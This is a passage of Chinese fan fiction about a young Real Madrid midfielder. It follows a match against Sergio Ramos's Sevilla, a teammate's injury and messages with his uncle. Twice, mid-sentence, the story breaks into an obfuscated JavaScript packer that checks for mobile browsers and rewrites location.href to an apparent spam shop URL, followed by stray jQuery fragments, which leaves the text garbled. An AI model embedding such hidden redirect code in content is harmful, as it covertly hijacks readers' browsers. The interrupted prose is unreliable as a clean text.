“对对!就是他!”
吕迪格又问:“还有一个,之前卢卡提过的他的那个国家队朋友,好像也在那边,叫什么来着?”
伯尼思索一秒,“拉基蒂奇,不过他已经不在塞维利亚了,年初的时候去了沙特。”
他看见克罗斯和吕迪格都转头看他,吕迪格瞪圆了眼睛,而克罗斯“噢”了一声:“他之前在巴萨。”
吕迪格咧嘴笑出大白牙,“伯尼,你对这些很了解啊,看样子平时没少看转会消息!”
“我可是死忠,”伯尼夸张地拍两下自己的胸膛,“从小看皇马比赛长大的。”
吕迪格“啪”地拍掌一笑,“好!既然如此,我问你一个问题,你要发自内心地、诚实地回答我——你看皇马这么多年,偶像是谁?”
伯尼眨了眨眼睛,听见吕迪格继续道:“排除我,因为我和你是同年来皇马的。排除克里斯,因为那太简单了……”
“也排除你舅舅,”克罗斯摆了摆手,神情诚恳,“法比奥就和马塞洛一个水平的,或许还差点儿——”
吕迪格拍掌大笑起来,“哈哈哈哈!”
伯尼仿佛当头一棒,头上连着后背不知道为什么开始发麻,向前挪了挪屁股,又伸手挠头,“啊?他们俩互为替补吧。”
克罗斯耸耸肩。
他补充道:“……我舅舅也是因为伤病,运气不太好,他也不怎么和我聊他在皇马的事情,他只把踢球当成一份工作。可能现在的生活他更开心。”
吕迪格配合地“噢”了一声,“说的也有道理。所以——你的偶像是谁?”
伯尼盯着吕迪格张口结舌几秒,心跳越来越快,脑子里浮现出许多球员的脸,让他选一个……好像真有点难。
他看着克罗斯和吕迪格都等着他的回答,只得睁圆眼睛笑起来,伸开五指指向克罗斯——
“我的偶像是你,我从你还在拜仁替补的时候就开始看你踢球了……”
伯尼看见克罗斯一听到“拜仁”就迅速绷紧了嘴角,翻着眼睑去看头顶的灯带,呼出一小口气,又转眼来看他,嘴角带着抹微妙的弧度。
他心跳像是踩了脚油门似的狂飙,听见吕迪格“咚”一声向后靠在椅背上,笑声像砸在地上的杠铃一样响亮。
“哈哈哈哈哈——”
克罗斯:“哦,你觉得我在拜仁踢得怎么样?”
伯尼心跳几乎漏了一拍,在这如此关键的时刻,他皱起眉头故作沉思几秒,然后慢慢说道:
“也不能说不怎么样吧……但我还是觉得,你来皇马是对的。你更适合这里,在这边你能踢到现在这个高度,在拜仁的话,可能就不会是这样。而且他们那边,对年轻球员来说……空间没那么大。”
这一番话说完他自己都要佩服他自己了,眼见着克罗斯嘴角弧度更明显,冲他点点头。
“我也这么认为。”
伯尼的心“咚”一声落回肚子里,转头去拿桌上的杯子,看见对面的吕迪格朝他比了个大拇指。
12.第十二瓶水
第十二章/第十二瓶水
2024年4月26日。
伯纳乌球场。
皇马vs塞维利亚。
球员通道像一截插在地里的楔子,灿烂的光线从出口斜斜照进来,伯尼面前的阶梯被分成明暗两截。
他站在暗处,盯着明处那个劲瘦的背影发呆。
黑底暗蓝花纹的球衣,亮粉色号码——
“SERGIO RAMOS”
“4”
塞尔吉奥·拉莫斯一扭头,后颈上的翅膀纹身从领口露出来,振翅欲飞,却又被一柄短剑钉穿,深黑的血迹流淌而下。
伯尼眼见着拉莫斯向卢宁伸出手,而卢宁一手握住他的手,一手揽过他的腰,头搁在他肩膀上。
拉莫斯说了句什么,卢宁向来木着的一张脸也柔和下来,笑着向他点点头。
纳乔在这时走入视线,拉莫斯回头看他,在耀眼的光线下笑容都有些失真。
伯尼看见他们紧紧拥抱在一起,拉莫斯不停用手拍着纳乔的背,而罗德里戈在一边站着等,拉莫斯又和他拥抱,临了摸了一把他刚剪的寸头。
“卢卡斯!”
纳乔转头叫巴斯克斯,然后他看见巴斯克斯一边扯着球袜一边走出队伍,大笑着和拉莫斯握手、拥抱。
伯尼下意识靠住墙,他看了这么多年皇马的比赛,如今却看见拉莫斯穿着塞维利亚的球衣。
感觉……好不真实。
塞维利亚的其他球员们站成一列,伯尼也回到皇马的队伍中站好,看见拉莫斯还站在队伍之外,叉着腰回头遥望,像是在等什么人。
等了好一会儿,拉莫斯才转过身。
入场时伯尼牵起小球童的手,眼前还是拉莫斯挥之不去的落寞神情。
他一脚踏上草皮,光线劈头盖脸落下来,听见皇马的播音员开始逐个介绍球员,每念一个名字,欢呼就如浪一般回荡一次。
直到两只队伍分列两边站定,伯尼两手在背后交握,听见播音员富有激情的顿挫声音——
“塞尔吉奥·拉莫斯!!!”
伯纳乌全场爆发出巨浪般的欢呼声,声浪之响堪比每次进绝杀球时的万人嘶吼。
伯尼感受到自己的耳膜在鼓动,仰起头,看见许多球迷站起身鼓掌,像一棵棵伸展枝丫的小树,在他眼前汇集成一片森林。
他们在欢迎皇马前功勋队长回家。
伯尼忍不住微笑起来,瞥见克罗斯和莫德里奇并肩坐在替补席上鼓掌,脸上都带着一点笑容。
伯尼盯着莫德里奇看了一会儿,视线余光中,拉莫斯正向看台挥手。
他想起14年的欧冠决赛,莫德里奇角球开出角球,拉莫斯在第92分48秒头球破门,皇马把马竞拖进加时,最终4:1逆转捧杯。
连“9248”都已经过去了将近十年。
……好无情好无情的岁月。
伯尼的伤感被吕迪格的鼓掌呐喊打破了:
“大家打起精神!火力全开,速战速决!”
伯尼在左路站定,抬眼仍是熟悉的视角,只不过对手从五天前的巴萨换成了塞维利亚,远处看台人头攒动,再仰起头就能看见球场之上的一角天空。
他开始在心里画站位图——
前方杵着两个巴西前锋。
中场还是一个扁菱形,居莱尔前插,他和巴尔韦德一左一右,拖后的是楚阿梅尼。
后排四个后卫站成一行,从右往左依次是巴斯克斯、纳乔、吕迪格、门迪。
即使夹在几场重要比赛之间,皇马除了中场有轮换,其他位置仍然全主力出战。
伯尼一边想着一边和门迪对上视线,看见门迪比着手势对他一笑,灿烂的大白牙,松弛,相当松弛。
伯尼心里一紧,下意识转头去看楚阿梅尼,那个刺猬头正遥望着远方出神,不知在想些什么。
……场上有两个法国人了,得打起精神!
“哔!!!”
裁判吹哨,比赛开始。
伯尼感受到皇马的进攻端压得有多前,或许是因为已经锁定冠军,队友们人人都想找找进球感觉——
第9分钟,塞维利亚边路向前传球,纳乔从他的右后方冲上来,从后挤着对手断下球,一脚传给韦尼修斯。
□□修斯带球一路风驰电掣,怼着防守球员在边线横传,巴斯克斯又出现在熟悉的右边路,脚尖停球后膝盖一颠,一顿,迎球怒射——
足球弹地入网!
“GOOOOOAL!”
在伯纳乌满天的欢呼声中,伯尼迈开大步向巴斯克斯冲过去,嘴张成一个“O”形,看见他一边跑一边对着观众席拍自己的左臂……
这也太轻松了吧!
伯尼有点恍惚,可能是之前两场苦战太过记忆犹新,突然来这么一下还没反应过来。
然而这场庆祝并未持续多久,伯尼眼见着裁判走向场边VAR回放屏,脚步一转跟着跑过去,脸上笑容一点点收回去。
门迪站在他身后,“怎么了?”
伯尼远远盯着VAR屏幕沉吟几秒,说:“……应该是纳乔。”犯规了。
“哔——”
裁判吹哨示意进球无效。
伯尼面无表情转身走回去,球场内仍然喧嚷,他看见塞维利亚的球员都是一脸如释重负的表情,门迪走在他身边,默默抹了下鼻子。
第30分钟,伯尼接到吕迪格一脚的传球,毫不犹豫迈开大步向前带,脸旁有风急速掠过,看见塞维利亚的两名球员都冲上来。
他瞄着右边那个球员的步伐迅速一推球,球从他两腿之间穿过,他侧身闪过继续向前带——
“VAMOS!”
离他最近的看台爆发一阵喝彩。
右前方有人影闪烁,伯尼抬头看见目光炯炯的拉莫斯,预备传球的脚步瞬间乱了一下,绷着核心又往前赶两步,瞄着正在招手的路的罗德里戈起脚。
球划过他在脑海里预设的弧线,绕过拉莫斯直奔向巴西前锋。
伯尼身前的拉莫斯转身向前跑,他也跟着向前,看见罗德里戈横向进入禁区,扛着后卫向右跑,脚下却把球拨向左侧。
足球在塞维利亚球员的回头遥望中来到韦尼休斯脚下,而罗德里戈闪开防守,继续向门前冲。
伯尼一眨不眨盯着,大好机会啊!
又是熟悉的边线,又是熟悉的韦尼休斯,他拉球转身,把球向前一推然后大力抡右脚——
球带着一道高挑的弧线越过横梁。
“OHH……”
皇马球迷惋惜出声。
伯尼停下脚步,看见罗德里戈在门前双手一摊,光看背影都能感受到无奈,而门后的球迷们站起又坐下,像涌动的海。
第60分钟,塞维利亚终于找到反击机会,前锋带球一路突进却被楚阿梅尼断球,他顺势一脚踢向伯尼和门迪中间。
伯尼抬眼看门迪不动,立刻大步接球,脚背一垫卸下球速,余光看见门迪往内撤了两步,听见他喊:“后面有人!”
伯尼迅速把球回过去。
门迪接球也不犹豫,立刻交给中场发动进攻,伯尼转头看过去,塞维利亚进攻端的几名球员就像脚下踩了刹车似的又往回跑。
球在中场倒了几脚,然后拉起一条撕开防线的弧线飞滚向巴斯克斯。
伯尼和门迪一起向前跑,看见巴斯克斯底线传中,而巴尔韦德从他们斜后方冲进禁区,伸脚迎着半高球一踹,整个人向后倒去,而球以极快的速度冲向球门——
“砰!”
球结结实实打在右门柱上,被反应极快的拉莫斯一脚踹出场外。
看台又是一阵失望的起伏。
伯尼视线里的所有队友都站在原地,像是一块按下了暂停键,停顿两秒才各有动作。
皇马获得角球,伯尼走过去之前回头看一眼,他们身后已经没有人了——除了在球门前直直站着,神情略显无聊的卢宁。
伯尼抹把脸,感觉今天占据了最佳观赛位。
塞维利亚球门背后的看台仍是一片欢腾,尖叫声、嘘声、欢呼声交杂在一起,伯尼站在禁区扭头左看右看,塞维利亚的球员们都是一脸紧张中带着疲色。
皇马的角球防守向来随意,伯尼在心里赌了一把,默默挪向后点,一路掠过好几个人的衣角。
他看见吕迪格和拉莫斯挤在一起,拉莫斯仰着头盯着角球区,胳膊却一直搂着吕迪格的肩膀。
“别拉。”吕迪格声音极低。
伯尼没听清拉莫斯说了什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390229|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,下一秒居莱尔把角球开出,在空中甩出一个凌厉的弧度直奔后点而来——
伯尼脑子里“嗡”一声,眼见着视线中足球不断放大,守门员的背影也不断放大,下意识向后退了两步,然后被左手边一团交叠的黑影撞倒。
“嗷!”
他后背磕到草皮时感觉浑身的骨头都震了一下,用胳膊护住脑袋,眼前一片黑,直到压着他的人从地上爬起来,他放下胳膊,第一次看见伯纳乌球场上方的微蓝天空。
伯尼站起来,第一眼看见塞维利亚的门将把球抱在怀里,心下失望,第二眼才看见吕迪格和一个人面对面站着,额头抵着额头。
……居然有人敢和吕迪格顶牛。
伯尼眨了眨眼睛,有点不敢相信,连忙走过去,看见脸黑成碳的吕迪格对面是拉莫斯。
他一下张大了嘴,眼见着楚阿梅尼从他们俩身边擦肩走过,仰着脸看天,仿佛天上有什么好东西似的。
伯尼有点无语。要不是他才躺在地上看过天,他真的会跟着这个刺猬头一起仰头看。
他几步上前从后抱住吕迪格的腰,听见他压着又低又粗的嗓子说:“……别动手。”
拉莫斯道:“你先。”
伯尼绷着腰腹把吕迪格向后拽,奈何吕迪格像根钢钉一样扎在地上,底盘极其稳固。
“冷静!比赛还没结束!”
伯尼余光瞥见素来爱干架的韦尼休斯也从旁经过,低头擦着额头上的汗,只留给他一个冷静的后脑勺。
伯尼拖着吕迪格不让他再往前走,巴尔韦德跑来卡在他和拉莫斯中间,几个塞维利亚的球员也拉住了拉莫斯。
吕迪格和拉莫斯又对喷了几句,顶牛这才结束。
第70分钟,场边热闹起来,伯尼扭头一看,安切洛蒂面无表情挥着倒车的手势,旁边裁判举着电子换人牌——
莫德里奇换下居莱尔。
伯尼真想给安切洛蒂比个大拇指,让卢卡上来重新梳理比赛,大家准备准备进球了!
第80分钟,伯尼压过对方半场把球传给巴尔韦德,看见他一脚把球挑向人影密集的禁区弧顶处。
塞维利亚后卫的头球没顶远,球落到莫德里奇面前。
伯尼心一下开始怦怦跳,看见莫德里奇踉跄着向外跨出一步接球,而拉莫斯已经冲到他身前,绷着一张脸,双手背在身后伸出脚。
电光石火之间,莫德里奇抡起跨出的那只脚向前一击——
“砰!”
足球像导弹一样直冲向球门,被门将的指尖蹭了一下后折射入网!
“YES!”
伯尼仿佛得到救赎一样伸开手臂大叫,看见莫德里奇跑向场边,自己都张大了嘴一脸惊讶。
看台彻底欢腾,球迷们终于找到了能站起来的机会,人人满面笑容:
“GOOOOAL!”
“VAMOS!”
第80分钟,皇马1:0塞维利亚!
伯尼赶过去时莫德里奇已经被吕迪格推着踩在了围栏上,好几个人在背后扶着他的腰,他们站在一起向看台挥手欢呼。
莫德里奇转头看见他,伸手和他击了个掌。
伯尼咧嘴一笑,心想,如果让他来解读卢卡的内心戏,他估计卢卡此刻在想:
这群老哥怎么回事?我上来10分钟就进球了!
……
伯纳乌的欢腾一直持续到比赛结束,裁判吹哨后,伯尼看见拉莫斯一把揽住莫德里奇的肩膀,两人在镜头前捂嘴说话,然后笑呵呵地交换了球衣。
莫德里奇离开后,吕迪格走过去和拉莫斯握了握手,脸上神情温和。
伯尼远远望见皇马替补席上也有人朝拉莫斯走过去,赶在他们之前一路小跑,和拉莫斯拥抱了一下。
他嘴角止不住地向上扬,慢慢朝场边走过去,感觉眼前的一切都泛着幸福的光晕。
这场比赛不累又有意思,还赢了,真不错!
“伯尼!”门迪在喊他。
伯尼走过去,看见门迪坐在替补席上,手心摁着大腿,紧皱着眉头,神情沮丧。
“有点不对劲。”
“哪儿?”伯尼一下失去笑容。
“大腿后侧,”门迪指了指,“比赛刚开始就不行了。”
13.第十三瓶水
“突发:门迪大腿后侧拉伤,将无缘皇马对阵拜仁的欧冠比赛”
伯尼靠在床头,手指一动点开这条IG推送,配图是一张门迪弯着腰手撑膝盖的照片,而他叉腰站在门迪旁边,皱着眉头向场边望。
他往下拉,看见评论区哀嚎一片——
“这时候伤???我们就差这一场了啊……”
“又是伤病潮。”
“拜仁肯定打这一边,真的完了……”
被推到最高赞的是一条分析:
“中卫还能顶,问题全在边路。吕迪格+纳乔没问题,但左后卫没有稳定解法。?卡马文加如果回不来,这一侧会被重点针对。?再加上卡瓦哈尔情况也不明朗,这条防线其实已经在极限运转了……”
伯尼默默点头,点开这条下面的99+回复,一行行字像是草丛里的响尾蛇一样倏地窜到他脸上——
“要不伯尼或者巴尔韦德顶一下?往后挪一挪也不是不能用,左边一个,右边巴斯克斯先顶着呗”
“不行吧……伯尼那身板感觉扛不住萨内啊……”
“真要在这俩里选的话我还是选伯尼吧,他至少没人研究过,巴尔韦德进攻属性太重了,防守真不太放心!”
“皇马已经缺人缺到要从中场里拉人去踢边后卫了吗…?”
伯尼下意识一摁关机键,手机屏幕映出他自己的脸,面如菜色,嘴角紧绷成一条横线。
他仰起头去看墙顶的吊灯,后脑勺“砰”地靠在床头靠背上,长叹一口气:
“唉——”
伯尼脑海里的思绪像毛线团一样纠结在一起,唯一一个清晰可见的念头是:
教练该不会真的让我去踢左后卫吧?
真不行,他从小就没踢过那位置。
伯尼闭上眼睛,想象自己站在门迪的位置上,抬头是一个暴趟准备过人的萨内,远处是在跑空位的基米希……
光想想就感觉脸颊发热,气血倒流。
伯尼打开Whatsapp, 点开他舅舅的头像,一张中年男人背靠大海的沧桑自拍,窄而长的脸上只能看见墨镜,两排白牙,和像海草一样飞扬的头发。
他开始噼里啪啦打字:
“能不能传授一下你踢左后卫的经验和诀窍?谢谢(笑脸)”
消息发过去两分钟,他舅舅头像旁的小圆点依旧暗淡,伯尼扫了一眼屏幕右上角,23:40。
他又回到IG,手向下一划——
@madridistas(马德里主义者):
bro just passing by?
(哥们只是路过一下。)
配图是楚阿梅尼走过正额头顶着额头角力的拉莫斯和吕迪格的瞬间,挤在他们背后劝架的两队球员都成了虚化的背影,伯尼看见自己的后脑勺和巴尔韦德的背影,而楚阿梅尼仰着头,表情淡定,眼神像云一样飘向远方……
伯尼笑得在床上一滚,点开评论区:
“楚阿梅尼:不关我事”
“两个人都快打起来了,这哥们甚至没停一下……”
“让他站哪边??前队长vs队友,lol”
伯尼抱着手机在床上一滚,咧着嘴角一边傻乐一边继续往下划,映入眼帘的是拉莫斯的脸。
“拉莫斯告别皇马演讲”
在嘈杂而带着电流声的话筒收音中,而拉莫斯穿着一身西装坐在桌前,背后是带着皇马、奥迪和阿迪达斯LOGO的背景墙。
他感觉拉莫斯嘴角的笑容像是被后期生硬P上去的一个小小像素点,他眼睛看着镜头,却又不像是在看镜头:
“这是我人生中最艰难的时刻之一,人生永远无法真正准备好告别。十六年前我来到皇家马德里,而现在,是时候说再见了。”
拉莫斯低头抹了抹眼角。
“发生了很多事。首先,我想澄清,我从未想过离开皇家马德里,我一直想留在这里。具体来说:去年夺冠后,俱乐部提出与我续约,由于疫情,一切都被推迟了,俱乐部给我提供了一份为期一年的合同,但我想要两年,我在球场上的表现配得上这份合同。钱从来都不是问题,我接受了降薪,然后他们告诉我没有新的续约合同了,时间到期了。他们事先并没有告诉我这一点。”
画面里闪过佩雷斯·弗洛伦蒂诺的脸,厚镜片像是泛冷光的玻璃,眉头拧成一座小山,脸上的皱纹从嘴角挂落。
“我本想在我们的主场告别。但无论如何!这样的告别已经很好了……谢谢大家,再见,我希望我会回来的,非常感谢!”
拉莫斯用右手捂着胸口鞠躬,疏疏落落的掌声响起,他低头离场,走过那4座闪闪发亮的大耳朵奖杯。
然后画面又回到最开头,拉莫斯手撑在桌上望向镜头,仓促、不甘、失落的神情,发亮的眼神里有太多东西。
伯尼感觉心里有点闷,给视频点了个赞后继续向下划,下一个还是关于拉莫斯的视频。
漂亮的头球破门,拉莫斯飞奔到场边,对着镜头摊开左手,右手在左手手心点了几下,然后把右手贴在脸旁边,比了个打电话的手势,又对着镜头伸出两根手指。
背景音乐激昂澎湃,伯尼看到这里才意识到他穿着塞维利亚的球衣,视线往下看文案:
“拉莫斯:我请求了他们两次想回到马德里,两次……但他们两次都挂了我的电话,毫不犹豫拒绝了我,他们都忘记了我曾经的付出。”
伯尼已经不想继续看了,眼前浮现出今天下午和拉莫斯的拥抱,还记得他大力拍着他的背,笑着问他:
“……科恩特朗?你舅舅是法比奥·科恩特朗?“他这几年怎么样?我很久没见他了。他以前训练完总是第一个走,也不说话,就那么走了,你跟他像吗?”
伯纳乌是五彩泡泡一样包裹住热忱和梦想,而球场外的一切都真实得像是泡泡破裂时溅进眼角的肥皂水。
他躺在床上换了个姿势,大拇指飞速从下往上掠过屏幕,却还是看见了那条被赞到溢出的评论——
“毫无人情味的俱乐部,但也注定了他们在竞技层面的伟大。”
伯尼眨眨眼,胸腔里那口浊气慢慢吐出来,蔓延到卧室的空气中,晕染进床头的橘光里。
……无可辩驳,无话可说。
“叮!”他的Whatsapp收到一条短信。
Tio Fabio(法比奥舅舅):
“我踢左后卫那时候,中间是佩佩,我被过了,他会出来,不是补,是直接把人停下来。
右边是拉莫斯,我基本不用回头看身后,他比我快。
前面是克里斯蒂亚诺,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413364|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我把球给过去,就可以往回走了,剩下的,他自己解决。
中场还有人,阿隆索,我站错一步,他会喊,站对了,他已经把球给过来了。
所以……你想问哪方面的经验啊?”
伯尼坐起来捧着手机,翻来覆去读了一分钟,半张着嘴,羡慕得脑补都脑补不出来,想想自己踹亚马尔吃到的那张黄牌,又想想门迪那双排牙的笑容。
……好羡慕啊!
他沉默良久,才回了一个捂脸哭的表情,又问:“我们30号在慕尼黑比赛,你要来看吗?”
“不,我懒得来。你问问你妈妈吧。”
伯尼耸耸肩,他在皇马这两年,他舅舅从没来伯纳乌看过他一次,他甚至怀疑他舅舅基本不看球了。
……为什么呢?
心底的疑问像是汤锅里的泡泡一样浮起来,又“咕噜咕噜”地破裂。
伯尼给妈妈打去了视频电话,等了几秒就接通了,映入眼帘的是她的笑脸,眼睛圆圆的,卷头发凌乱地扎在耳后。
“这么晚还不睡觉给我打电话干嘛?快看我在家里找到了什么——”
镜头一转,像俯冲的火车头一样掠过熟悉的木地板、房门,冲向阳台。
伯尼趁机靠着床头坐好,看见右上角的小方框里自己的脸,双下巴,鼻孔对着前置摄像头,问:“什么?”
镜头稳定下来,他听见妈妈兴致颇高的声音:
“我今天整理房间的时候,翻到你小时候那几件球衣了!质量还挺好的,我刚洗了一下,看起来跟新的一样!”
伯尼感觉手里这个能穿梭时间的“任意门”在变魔法,他不可置信地眨了眨眼睛。
视频的另一端对准了夜色中的晾衣绳,靠在细细的铁栏杆外面,仅被室内的一点光源照亮,在晚风中徐徐地荡。
他一眼就看见了里奥阿维的那件条纹球衣,草绿色在夜色中显得深沉,细细长长的,像是一截窗帘布,又像是一截被剪断的包装礼物的缎带。
“要是罗罗想去踢球的话,还能继续穿……还有这双足球鞋——你还记得吗?是你舅舅给你买的,你当时很喜欢!”
他妈妈把镜头对准了阳台的地面,他看见那双阿迪达斯Goletto足球鞋,鞋尖落在阴影里,鞋口像是两张变形的嘴巴,凹凸起伏地躺在地上。
伯尼看见小方框里自己呆滞的表情,橘色的床头灯洒在屏幕里,晒得耳朵也发烫。
他下意识回道:“当然记得……罗罗怎么可能踢球?他连游戏都玩不过来。”
他想起罗罗肉乎乎的小脸,不禁笑了一下,连他爸都不踢球了,谁还会陪他踢呢?
他妈妈笑着又说了什么,镜头混乱地转折,伯尼看见他外婆的狗,看见家里新添的几盆植物,看见他妈妈的缝纫机,和角落里摞得高高的布料。
“……去德国看你比赛?那你外婆的裁缝店谁看着?这又不是说走就走的,既然是工作,就不能干两天歇两天的。你好好踢球,我也把我的活干好,下次再去,不也一样嘛?”
伯尼放松地靠在床头,眼皮慢慢变得沉重,脑中的思绪像海上的小船一样浮浮沉沉的。
去他的左后卫,谁爱踢谁踢吧。
他得早点睡觉,明后天还要训练,大后天就要飞慕尼黑了。
晚安。